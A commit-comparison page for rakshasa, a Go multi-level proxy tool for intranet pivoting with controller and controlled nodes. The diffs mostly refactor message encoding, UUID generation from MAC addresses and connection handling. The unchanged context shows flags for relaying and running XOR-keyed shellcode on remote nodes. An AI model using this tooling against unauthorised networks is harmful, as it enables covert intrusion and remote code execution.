Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
763a379053 | ||
|
|
72c2175daf | ||
|
|
1749ae8d12 | ||
|
|
4c645d30aa | ||
|
|
3583ea3270 | ||
|
|
a8dcc3871d | ||
|
|
b9f350bb8d | ||
|
|
000ea7dcb0 | ||
|
|
5a67527907 | ||
|
|
3c94a17d26 | ||
|
|
d68a4281f8 | ||
|
|
8502cab070 | ||
|
|
bd49fdc0bf | ||
|
|
b48e9e77ac | ||
|
|
ac68df552e | ||
|
|
880c491fd4 | ||
|
|
461e3ba883 |
@@ -12,11 +12,29 @@ rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现*
|
||||
- 控制节点,全功能节点
|
||||
|
||||
## 项目结构示例和截图
|
||||
|
||||
[点击查看更多介绍](./readme/rakshasa项目设计.md)
|
||||
|
||||
[win10+Proxifier实现内网穿透](./readme/rakshasa内网穿透--win10+Proxifier使用案例.md)
|
||||
|
||||
[rakshasa主被控设计说明](./readme/rakshasa主被控设计说明.md)
|
||||
|
||||
## 版本迭代
|
||||
- **v0.1.0** 2023-03-28
|
||||
- 首次发布
|
||||
- **v0.2.0** 2023-04-02
|
||||
- 更改为fullnode版本,fullnode为全功能版本可以控制别人也能被控
|
||||
- 增加node版本,去掉私钥,无法发起代理等关键操作,适合被控
|
||||
- 增加lite版本,在上面版本的基础上,精简cli交互与http代理池,体积缩小2mb
|
||||
- 优化节点连接逻辑,并且遍历网卡ip进行net.Dail,解决多网卡下,无法连接的问题
|
||||
- **v0.2.2** 2023-04-08
|
||||
- 增加http_proxy重连逻辑,节点掉线后重连http代理能够正常重连使用
|
||||
- 优化节点重连逻辑
|
||||
- 增加uuid选项,默认uuid使用网卡mac作为随机数种子,进行生成
|
||||
- **v0.2.3** 2023-04-22
|
||||
- 优化了连接逻辑,尝试解决连接失败导致nil的bug
|
||||
- 修改一个map为sync.Map,减少代码上lock的使用量
|
||||
- 增加了 主控端、被控端说明的md文档
|
||||
## 编译与使用
|
||||
|
||||
生成新的证书,编译所有版本节点
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -34,7 +34,9 @@ func main() {
|
||||
if *genfullNodePrivate {
|
||||
b, _ := os.ReadFile("./cert/private.pem")
|
||||
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
|
||||
os.WriteFile("./cert/private.go", []byte(data), 0655)
|
||||
if err := os.WriteFile("./cert/private.go", []byte(data), 0655); err != nil {
|
||||
fmt.Printf("写入./cert/private.go失败,错误 %v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
if *gencert {
|
||||
@@ -45,7 +47,7 @@ func main() {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
b, err := exec.Command("/bin/bash", "-c", "cd gencert && go run main.go").CombinedOutput()
|
||||
_, err := exec.Command("/bin/bash", "-c", "cd gencert && go run main.go").CombinedOutput()
|
||||
if err != nil {
|
||||
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
|
||||
return
|
||||
|
||||
+48
-29
@@ -2,12 +2,14 @@ package common
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa/aes"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
@@ -16,8 +18,8 @@ import (
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
var Debug bool = false
|
||||
var NoPing bool = false
|
||||
var Debug bool = true
|
||||
var NoPing bool = true
|
||||
var DebugLock bool = false
|
||||
var DebugLockMap sync.Map
|
||||
|
||||
@@ -195,22 +197,11 @@ func init() {
|
||||
|
||||
}
|
||||
|
||||
type RegMsg struct {
|
||||
UUID string //当前机器uuid
|
||||
RegAddr string //远程连接的addr
|
||||
Hostname string //当前机器名称
|
||||
Goos string
|
||||
ViaUUID string
|
||||
Err string
|
||||
MainIp string
|
||||
Port string
|
||||
}
|
||||
|
||||
var msgId uint32
|
||||
|
||||
func (m *Msg) Marshal() []byte {
|
||||
l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData)
|
||||
data := make([]byte, l+2)
|
||||
data := make([]byte, l)
|
||||
data1 := make([]byte, l+2)
|
||||
data1[0] = byte(l)
|
||||
data1[1] = byte(l >> 8)
|
||||
@@ -218,24 +209,24 @@ func (m *Msg) Marshal() []byte {
|
||||
ut, _ := uuid.Parse(m.To)
|
||||
bf, _ := uf.MarshalBinary()
|
||||
bt, _ := ut.MarshalBinary()
|
||||
copy(data[2:], bf)
|
||||
copy(data[2+UUID_LEN:], bt)
|
||||
b := 2 + 2*UUID_LEN
|
||||
copy(data, bf)
|
||||
copy(data[+UUID_LEN:], bt)
|
||||
|
||||
if m.MsgId == 0 { //id不为0
|
||||
m.MsgId = atomic.AddUint32(&msgId, 1)
|
||||
}
|
||||
data[b] = byte(m.MsgId)
|
||||
data[b+1] = byte(m.MsgId >> 8)
|
||||
data[b+2] = byte(m.MsgId >> 16)
|
||||
data[b+3] = byte(m.MsgId >> 24)
|
||||
data[b+4] = m.Ttl
|
||||
data[b+5] = m.CmdOpteion
|
||||
data[b+6] = byte(m.CmdId)
|
||||
data[b+7] = byte(m.CmdId >> 8)
|
||||
data[b+8] = byte(m.CmdId >> 16)
|
||||
data[b+9] = byte(m.CmdId >> 24)
|
||||
copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData)
|
||||
aes.AesCtrEncrypt(data1[2:], data[2:])
|
||||
data[2*UUID_LEN] = byte(m.MsgId)
|
||||
data[2*UUID_LEN+1] = byte(m.MsgId >> 8)
|
||||
data[2*UUID_LEN+2] = byte(m.MsgId >> 16)
|
||||
data[2*UUID_LEN+3] = byte(m.MsgId >> 24)
|
||||
data[2*UUID_LEN+4] = m.Ttl
|
||||
data[2*UUID_LEN+5] = m.CmdOpteion
|
||||
data[2*UUID_LEN+6] = byte(m.CmdId)
|
||||
data[2*UUID_LEN+7] = byte(m.CmdId >> 8)
|
||||
data[2*UUID_LEN+8] = byte(m.CmdId >> 16)
|
||||
data[2*UUID_LEN+9] = byte(m.CmdId >> 24)
|
||||
copy(data[2*UUID_LEN+4+1+5:], m.CmdData)
|
||||
aes.AesCtrEncrypt(data1[2:], data)
|
||||
return data1
|
||||
}
|
||||
func UnmarshalMsg(data []byte) (msg *Msg) {
|
||||
@@ -329,3 +320,31 @@ func ResolveTCPAddr(str string) ([]string, error) {
|
||||
|
||||
return dst, nil
|
||||
}
|
||||
func GetUUIDFromInterfaceMac() string {
|
||||
ifts, _ := net.Interfaces()
|
||||
for _, ift := range ifts {
|
||||
if addr := ift.HardwareAddr.String(); len(addr) > 0 {
|
||||
var randSeed = make([]byte, 8)
|
||||
for k, s := range strings.Split(addr, ":") {
|
||||
if k < 8 {
|
||||
n, _ := strconv.ParseUint(s, 16, 8)
|
||||
randSeed[k] = byte(n)
|
||||
}
|
||||
|
||||
}
|
||||
source := rand.NewSource(int64(binary.LittleEndian.Uint64(randSeed)))
|
||||
buf := bytes.NewBuffer(nil)
|
||||
for i := 0; i < 2; i++ {
|
||||
var b = make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(b, uint64(source.Int63()))
|
||||
buf.Write(b)
|
||||
}
|
||||
id, err := uuid.NewRandomFromReader(buf)
|
||||
if err == nil {
|
||||
return id.String()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return uuid.New().String()
|
||||
}
|
||||
|
||||
+2
-1
@@ -1,10 +1,11 @@
|
||||
package common
|
||||
|
||||
type Config struct {
|
||||
UUID string //以指定uuid启动
|
||||
DstNode []string //-d 上级节点
|
||||
Password string //通讯密码,可为空
|
||||
Port int //默认8883
|
||||
ListenIp string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip
|
||||
ListenIp string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip
|
||||
Limit bool //禁止额外连接,只连接-d节点,不会尝试连接其他节点
|
||||
FileName string
|
||||
FileSave bool `yaml:"-"`
|
||||
|
||||
@@ -9,10 +9,11 @@ import (
|
||||
_ "net/http/pprof"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/common"
|
||||
"rakshasa/httppool"
|
||||
"rakshasa/server"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@@ -43,6 +44,8 @@ func main() {
|
||||
shellCodeTimeout = flag.Int("sTimeout", 3, "shellcode的超时等待时间,默认3秒")
|
||||
http_proxy = flag.String("http_proxy", "", "以本地http代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则使用本机进行下一步连接, 用户名:密码@ip:端口 可以省略为端口,如: \r\n -http_proxy admin:[email protected]:8080\r\n -http_proxy admin:12345@8080\r\n -http_proxy 8080")
|
||||
http_proxy_pool = flag.String("http_proxy_pool", "", "从指定文件读取http代理服务器池,通过最后节点后(不使用-d则为本机),再从该池里读取一个代理进行请求")
|
||||
withUUID = flag.String("uuid", "", "以指定uuid启动,如果uuid非法或者为空,则以网卡mac方式生成uuid")
|
||||
randomUUID = flag.Bool("randomUUID", false, "每次启动,都使用随机的uuid")
|
||||
)
|
||||
|
||||
flag.Parse()
|
||||
@@ -51,7 +54,7 @@ func main() {
|
||||
log.Println("检测url不是默认url,将取消匿名代理检测")
|
||||
*check_proxy_anonymous = false
|
||||
}
|
||||
httppool.CheckProxy(*check_proxy, *check_proxy_out, *check_proxy_timeout, *check_proxy_url, *check_proxy_anonymous)
|
||||
server.CheckProxy(*check_proxy, *check_proxy_out, *check_proxy_timeout, *check_proxy_url, *check_proxy_anonymous)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -69,7 +72,11 @@ func main() {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if *randomUUID {
|
||||
config.UUID = uuid.New().String()
|
||||
} else if *withUUID != "" {
|
||||
config.UUID = *withUUID
|
||||
}
|
||||
if *dstNode != "" {
|
||||
serverlist, err := common.ResolveTCPAddr(*dstNode)
|
||||
if err != nil {
|
||||
@@ -133,7 +140,7 @@ func main() {
|
||||
if *shellCode != "" {
|
||||
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
|
||||
}
|
||||
if err := server.StartServer(fmt.Sprintf(":%d", config.Port)); err != nil {
|
||||
if err := server.StartServer(fmt.Sprintf(":%d", config.Port)); err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
|
||||
|
||||
+33
-11
@@ -2,17 +2,20 @@ package common
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/google/uuid"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa_lite/aes"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
const UUID_LEN = 16
|
||||
@@ -189,16 +192,7 @@ func init() {
|
||||
|
||||
}
|
||||
|
||||
type RegMsg struct {
|
||||
UUID string //当前机器uuid
|
||||
RegAddr string //远程连接的addr
|
||||
Hostname string //当前机器名称
|
||||
Goos string
|
||||
ViaUUID string
|
||||
Err string
|
||||
MainIp string
|
||||
Port string
|
||||
}
|
||||
|
||||
|
||||
var msgId uint32
|
||||
|
||||
@@ -323,3 +317,31 @@ func ResolveTCPAddr(str string) ([]string, error) {
|
||||
|
||||
return dst, nil
|
||||
}
|
||||
func GetUUIDFromInterfaceMac() string {
|
||||
ifts, _ := net.Interfaces()
|
||||
for _, ift := range ifts {
|
||||
if addr := ift.HardwareAddr.String(); len(addr) > 0 {
|
||||
var randSeed = make([]byte, 8)
|
||||
for k, s := range strings.Split(addr, ":") {
|
||||
if k < 8 {
|
||||
n, _ := strconv.ParseUint(s, 16, 8)
|
||||
randSeed[k] = byte(n)
|
||||
}
|
||||
|
||||
}
|
||||
source := rand.NewSource(int64(binary.LittleEndian.Uint64(randSeed)))
|
||||
buf := bytes.NewBuffer(nil)
|
||||
for i := 0; i < 2; i++ {
|
||||
var b = make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(b, uint64(source.Int63()))
|
||||
buf.Write(b)
|
||||
}
|
||||
id, err := uuid.NewRandomFromReader(buf)
|
||||
if err == nil {
|
||||
return id.String()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return uuid.New().String()
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package common
|
||||
|
||||
type Config struct {
|
||||
UUID string //以指定uuid启动
|
||||
DstNode []string //-d 上级节点
|
||||
Password string //通讯密码,可为空
|
||||
Port int //默认8883
|
||||
|
||||
@@ -1,63 +0,0 @@
|
||||
package httppool
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"rakshasa_lite/common"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type HttpPool struct {
|
||||
r *bufio.Reader
|
||||
f *os.File
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func HttpPoolInit(file string) (*HttpPool, error) {
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("打开http代理池文件 %s 失败", file)
|
||||
}
|
||||
p := &HttpPool{
|
||||
r: bufio.NewReader(f),
|
||||
f: f,
|
||||
Mutex: sync.Mutex{},
|
||||
}
|
||||
if _, err = p.do_next(0); err != nil {
|
||||
return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
func (p *HttpPool) Next() *common.Addr {
|
||||
addr, _ := p.do_next(0)
|
||||
return addr
|
||||
}
|
||||
func (p *HttpPool) do_next(n int) (*common.Addr, error) {
|
||||
if n > 100 {
|
||||
return nil, errors.New("重试错误次数过多")
|
||||
}
|
||||
p.Lock()
|
||||
line, err := p.r.ReadString(10)
|
||||
if err == io.EOF {
|
||||
p.f.Seek(0, 0)
|
||||
p.r.Reset(p.f)
|
||||
p.Unlock()
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
p.Unlock()
|
||||
line = strings.TrimRight(line, "\n")
|
||||
line = strings.TrimRight(line, "\r")
|
||||
|
||||
if len(line) == 0 {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
addr, err := common.ParseAddr(line)
|
||||
if err != nil {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
return addr, nil
|
||||
}
|
||||
+10
-2
@@ -10,6 +10,8 @@ import (
|
||||
"rakshasa_lite/server"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@@ -34,6 +36,8 @@ func main() {
|
||||
shellCodeTimeout = flag.Int("sTimeout", 3, "shellcode的超时等待时间,默认3秒")
|
||||
http_proxy = flag.String("http_proxy", "", "以本地http代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则使用本机进行下一步连接, 用户名:密码@ip:端口 可以省略为端口,如: \r\n -http_proxy admin:[email protected]:8080\r\n -http_proxy admin:12345@8080\r\n -http_proxy 8080")
|
||||
http_proxy_pool = flag.String("http_proxy_pool", "", "从指定文件读取http代理服务器池,通过最后节点后(不使用-d则为本机),再从该池里读取一个代理进行请求")
|
||||
withUUID = flag.String("uuid", "", "以指定uuid启动,如果uuid非法或者为空,则以网卡mac方式生成uuid")
|
||||
randomUUID = flag.Bool("randomUUID", false, "每次启动,都使用随机的uuid")
|
||||
)
|
||||
|
||||
flag.Parse()
|
||||
@@ -52,7 +56,11 @@ func main() {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if *randomUUID {
|
||||
config.UUID = uuid.New().String()
|
||||
} else if *withUUID != "" {
|
||||
config.UUID = *withUUID
|
||||
}
|
||||
if *dstNode != "" {
|
||||
serverlist, err := common.ResolveTCPAddr(*dstNode)
|
||||
if err != nil {
|
||||
@@ -105,7 +113,7 @@ func main() {
|
||||
if *shellCode != "" {
|
||||
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
|
||||
}
|
||||
if err := server.StartServer(fmt.Sprintf("0.0.0.0:%d", config.Port)); err != nil {
|
||||
if err := server.StartServer(fmt.Sprintf(":%d", config.Port)); err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"github.com/google/uuid"
|
||||
"gopkg.in/yaml.v3"
|
||||
"io/ioutil"
|
||||
"rakshasa_lite/common"
|
||||
@@ -13,6 +14,12 @@ func SetConfig(config common.Config) {
|
||||
currentConfig.FileSave = false
|
||||
currentNode.mainIp = currentConfig.ListenIp
|
||||
currentNode.port = currentConfig.Port
|
||||
if id, err := uuid.Parse(currentConfig.UUID); err != nil {
|
||||
currentConfig.UUID = common.GetUUIDFromInterfaceMac()
|
||||
}else{
|
||||
currentConfig.UUID=id.String()
|
||||
}
|
||||
currentNode.uuid = currentConfig.UUID
|
||||
}
|
||||
func ConfigSave() error {
|
||||
b, _ := yaml.Marshal(currentConfig)
|
||||
|
||||
+88
-105
@@ -11,6 +11,7 @@ import (
|
||||
"net/url"
|
||||
"rakshasa_lite/aes"
|
||||
"rakshasa_lite/common"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -33,14 +34,13 @@ type Conn struct {
|
||||
node *node
|
||||
nodeaddr string
|
||||
//key string
|
||||
remoteAddr string
|
||||
inChan chan func()
|
||||
OutChan chan []byte
|
||||
close chan string
|
||||
isClient bool
|
||||
nodeConn *tls.Conn
|
||||
regResult chan error
|
||||
regResultNode chan *node
|
||||
remoteAddr string
|
||||
inChan chan func()
|
||||
OutChan chan []byte
|
||||
close chan string
|
||||
isClient bool
|
||||
nodeConn *tls.Conn
|
||||
regResult chan RegMsg
|
||||
}
|
||||
|
||||
type serverListen struct {
|
||||
@@ -485,7 +485,6 @@ func (c *Conn) handlerNodeRead() {
|
||||
_, err = io.ReadFull(c.nodeConn, buf)
|
||||
b := aes.AesCtrDecrypt(buf)
|
||||
msg := common.UnmarshalMsg(b)
|
||||
|
||||
if msg.To == common.NoneUUID.String() && c.node == nil {
|
||||
c.inChan <- func() {
|
||||
newNode := &node{
|
||||
@@ -494,81 +493,75 @@ func (c *Conn) handlerNodeRead() {
|
||||
newNode.do(msg)
|
||||
}
|
||||
} else if msg.To == currentNode.uuid {
|
||||
|
||||
func() {
|
||||
l := clientLock.RLock()
|
||||
v, ok := nodeMap[msg.From]
|
||||
l.RUnlock()
|
||||
if ok && v.port != 0 {
|
||||
c.inChan <- func() {
|
||||
v.do(msg)
|
||||
v, ok := nodeMap.Load(msg.From)
|
||||
if ok && v.(*node).port != 0 {
|
||||
c.inChan <- func() {
|
||||
v.(*node).do(msg)
|
||||
}
|
||||
} else {
|
||||
if !ok {
|
||||
newNode := &node{
|
||||
uuid: msg.From,
|
||||
conn: c,
|
||||
waitMsg: []*common.Msg{msg},
|
||||
}
|
||||
} else {
|
||||
l := clientLock.Lock()
|
||||
v, ok := nodeMap[msg.From]
|
||||
if !ok {
|
||||
newNode := &node{
|
||||
uuid: msg.From,
|
||||
conn: c,
|
||||
waitMsg: []*common.Msg{msg},
|
||||
}
|
||||
result := make(chan interface{}, 1)
|
||||
id := newNode.storeQuery(result)
|
||||
|
||||
nodeMap[msg.From] = newNode
|
||||
l.Unlock()
|
||||
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
|
||||
go func() {
|
||||
defer newNode.deleteQuery(id)
|
||||
select {
|
||||
case res := <-result:
|
||||
if res == nil {
|
||||
|
||||
for _, m := range newNode.waitMsg {
|
||||
c.inChan <- func() {
|
||||
newNode.do(m)
|
||||
}
|
||||
result := make(chan interface{}, 1)
|
||||
id := newNode.storeQuery(result)
|
||||
nodeMap.Store(msg.From, newNode)
|
||||
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
|
||||
go func() {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Println(err)
|
||||
debug.PrintStack()
|
||||
}
|
||||
newNode.deleteQuery(id)
|
||||
}()
|
||||
select {
|
||||
case res := <-result:
|
||||
if res == nil {
|
||||
for _, m := range newNode.waitMsg {
|
||||
c.inChan <- func() {
|
||||
newNode.do(m)
|
||||
}
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
newNode.Delete("超时")
|
||||
}
|
||||
}()
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
newNode.Close("超时")
|
||||
}
|
||||
}()
|
||||
|
||||
} else {
|
||||
|
||||
if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT {
|
||||
|
||||
var res chan interface{}
|
||||
if _v, ok := v.loadQuery(msg.CmdId); !ok {
|
||||
return
|
||||
} else {
|
||||
res = _v
|
||||
}
|
||||
|
||||
var nmsg nodeInfo
|
||||
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||
if err != nil {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
v.uuid = cert.RSADecrypterStr(nmsg.UUID)
|
||||
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil {
|
||||
v.port = -1
|
||||
}
|
||||
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
v.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
res <- nil
|
||||
} else {
|
||||
if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT {
|
||||
n := v.(*node)
|
||||
var res chan interface{}
|
||||
if _v, ok := n.loadQuery(msg.CmdId); !ok {
|
||||
return
|
||||
} else {
|
||||
v.waitMsg = append(v.waitMsg, msg)
|
||||
res = _v
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
var nmsg nodeInfo
|
||||
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||
if err != nil {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
n.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
n.uuid = cert.RSADecrypterStr(nmsg.UUID)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
n.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
n.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
res <- nil
|
||||
} else {
|
||||
v.(*node).waitMsg = append(v.(*node).waitMsg, msg)
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
@@ -606,7 +599,6 @@ func (c *Conn) handlerNodeRead() {
|
||||
func (c *Conn) handle() {
|
||||
c.OutChan = make(chan []byte, 64)
|
||||
c.inChan = make(chan func())
|
||||
|
||||
c.close = make(chan string, 999)
|
||||
|
||||
go func() {
|
||||
@@ -626,39 +618,33 @@ func (c *Conn) handle() {
|
||||
}
|
||||
}
|
||||
|
||||
case <-c.close:
|
||||
case reason := <-c.close:
|
||||
c.OutChan = upNodeWrite
|
||||
if c.node != nil && c.node.nextPingTime > time.Now().Unix()+5 {
|
||||
c.node.ping(0)
|
||||
c.node.nextPingTime = time.Now().Unix() + 5
|
||||
}
|
||||
func() { //返回false则退出handle
|
||||
connMap.Delete(c.remoteAddr)
|
||||
l := clientLock.Lock()
|
||||
defer func() {
|
||||
l.Unlock()
|
||||
}()
|
||||
connMap.Delete(c.remoteAddr)
|
||||
|
||||
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
|
||||
|
||||
if c.nodeConn != nil {
|
||||
c.nodeConn.Close()
|
||||
}
|
||||
|
||||
if c.node != nil {
|
||||
//移除上游连接
|
||||
for i := len(upLevelNode) - 1; i >= 0; i-- {
|
||||
n := upLevelNode[i]
|
||||
if n.uuid == c.node.uuid {
|
||||
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
|
||||
}
|
||||
}
|
||||
}
|
||||
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
|
||||
|
||||
if c.nodeConn != nil {
|
||||
c.nodeConn.Close()
|
||||
}
|
||||
|
||||
return
|
||||
}()
|
||||
if c.node != nil {
|
||||
c.node.Close(reason)
|
||||
//移除上游连接
|
||||
for i := len(upLevelNode) - 1; i >= 0; i-- {
|
||||
n := upLevelNode[i]
|
||||
if n.uuid == c.node.uuid {
|
||||
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -668,7 +654,7 @@ func (c *Conn) handle() {
|
||||
func (c *Conn) reg() error {
|
||||
|
||||
var err error
|
||||
reg := &common.RegMsg{
|
||||
reg := &RegMsg{
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
|
||||
@@ -682,6 +668,7 @@ func (c *Conn) reg() error {
|
||||
CmdOpteion: common.CMD_REG,
|
||||
CmdData: regb,
|
||||
}
|
||||
|
||||
if err = c.tlsWrite(msg.Marshal()); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -689,12 +676,8 @@ func (c *Conn) reg() error {
|
||||
return nil
|
||||
}
|
||||
func (c *Conn) WriteToUUID(msg *common.Msg) {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
if n, ok := nodeMap[msg.To]; ok {
|
||||
n.WriteMsg(msg)
|
||||
if n, ok := nodeMap.Load(msg.To); ok {
|
||||
n.(*node).WriteMsg(msg)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,16 +1,19 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"rakshasa_lite/common"
|
||||
"rakshasa_lite/httppool"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
@@ -19,7 +22,7 @@ import (
|
||||
|
||||
type httpProxyClient struct {
|
||||
windowsSize int64
|
||||
isclose int32
|
||||
status int32
|
||||
conn net.Conn
|
||||
udpconn net.Conn
|
||||
|
||||
@@ -32,10 +35,9 @@ type httpProxyClient struct {
|
||||
udpMap sync.Map
|
||||
listenId uint32
|
||||
localAddr string
|
||||
isConnect bool
|
||||
method string
|
||||
cfg *common.Addr
|
||||
pool *httppool.HttpPool
|
||||
pool *httpPool
|
||||
remoteAddr string
|
||||
remotePort string
|
||||
randkey []byte
|
||||
@@ -60,7 +62,9 @@ func (s *httpProxyClient) Write(b []byte) {
|
||||
|
||||
if b[10] != 1 {
|
||||
//重新拉取一个池
|
||||
s.connect()
|
||||
if !s.connect() {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
} else if s.method == "CONNECT" {
|
||||
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||
}
|
||||
@@ -78,7 +82,7 @@ func (s *httpProxyClient) Write(b []byte) {
|
||||
}
|
||||
|
||||
func (s *httpProxyClient) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) {
|
||||
if atomic.CompareAndSwapInt32(&s.status, CONN_STATUS_CONNECT, CONN_STATUS_NONE) {
|
||||
|
||||
<-s.wait
|
||||
s.wait <- common.CONN_STATUS_CLOSE
|
||||
@@ -133,10 +137,10 @@ func (s *httpProxyClient) Addwindow(window int64) {
|
||||
}
|
||||
|
||||
func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
|
||||
var pool *httppool.HttpPool
|
||||
var pool *httpPool
|
||||
var err error
|
||||
if poolfile != "" {
|
||||
pool, err = httppool.HttpPoolInit(poolfile)
|
||||
pool, err = httpPoolInit(poolfile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -169,7 +173,7 @@ func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
return nil
|
||||
}
|
||||
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) {
|
||||
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httpPool) (net.Listener, error) {
|
||||
l, err := net.Listen("tcp", cfg.Addr())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -265,20 +269,23 @@ func handleHttpProxyLocal(s *httpProxyClient) {
|
||||
s.remoteAddr = u.Host
|
||||
s.remotePort = "80"
|
||||
}
|
||||
s.connect()
|
||||
buf := bufPool.Get().(*bytes.Buffer)
|
||||
buf.Reset()
|
||||
buf.WriteString("GET ")
|
||||
buf.WriteString(req.uri)
|
||||
buf.WriteString(" HTTP/1.1\r\n")
|
||||
for _, header := range req.header {
|
||||
buf.WriteString(header)
|
||||
if s.connect() {
|
||||
buf := bufPool.Get().(*bytes.Buffer)
|
||||
buf.Reset()
